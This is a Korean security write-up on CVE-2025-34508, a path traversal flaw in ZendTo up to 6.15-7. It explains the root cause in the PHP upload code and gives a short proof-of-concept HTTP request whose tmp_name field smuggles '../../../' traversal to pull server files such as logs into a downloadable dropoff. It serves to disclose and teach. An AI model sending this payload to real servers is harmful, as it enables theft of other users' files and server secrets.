[하루한줄] CVE-2025-34508: ZendTo의 Path Traversal 취약점

URL

Target

  • ZendTo ≤ 6.15-7

Explain

image.png

ZendTo는 교육기관, 정부기관, 의료기관 등에서 널리 사용되는 웹 기반 파일 전송 애플리케이션입니다.

사용자는 파일을 업로드하고 수신자에게 보낼 수 있으며 dropoff라는 기능을 통해 전송이 이뤄집니다. 그러나 ZendTo의 파일 업로드 및 처리 루틴 중, 사용자 입력값(chunkName, tmp_name)에 대한 검증이 불완전하여 Path Traversal이 가능하고, 이를 통해 공격자는 서버의 임의 파일을 dropoff 디렉토리로 복사해 다운로드할 수 있습니다.

Root Cause Analysis

① 사용자 입력 chunkName 필터링

$chunkName = preg_replace('/[^0-9a-zA-Z]/', '', $_POST['chunkName']);
$chunkName = substr($chunkName, 0, 100);
$chunkPath = ini_get('upload_tmp_dir');
$chunkPath .= DIRECTORY_SEPARATOR . $chunkName;
  • chunkName에서 영숫자가 아닌 문자를 모두 제거하기 때문에, 예를 들어 chunkName = "." 또는 ".."빈 문자열이 됩니다.

$chunkPath = /var/tmp/ 처럼 상위 디렉토리 접근을 허용하게 됩니다.

② 조작된 tmp_name 처리

$new['tmp_name'] = $chunkPath . '/' . $f['tmp_name'];
$_FILES[$key] = $new;
{ "tmp_name": "../../../log/zendto/zendto.log", "error": 0 }
  • 이 결과 실제 경로는 아래와 같이 처리 됩니다.
$chunkPath = /var/tmp/
$tmp_name = ../../../log/zendto/zendto.log
→ /var/tmp/../../../log/zendto/zendto.log = /log/zendto/zendto.log

③ 파일 이동 및 노출

move_uploaded_file($_FILES[$key]['tmp_name'], $claimDir."/".$tmpname)
  • 해당 파일은 dropoff 디렉토리로 이동되며, 사용자는 웹 링크를 통해 이를 다운로드할 수 있습니다.

④ PoC Example

POST /dropoff HTTP/1.1
Host: localhost
...

chunkName: .
file_1: {"name":"zendto.log","tmp_name":"../../../log/zendto/zendto.log","error":0}

Impact

  • 로그 파일 내 포함된 claimID 목록으로 타인의 dropoff 파일 탈취
  • 내부 SQLite DB, 구성 파일(.php, .conf 등) 노출
  • 서비스 코드나 중요한 리소스를 이동시켜 DoS(서비스 거부) 공격 수행
  • 인증은 필요하지만 누구나 가입 가능한 구조이기 때문에 실질적인 보안 장벽이 없음

해당 취약점은 6.15-8 버전에서 패치되었습니다.

Reference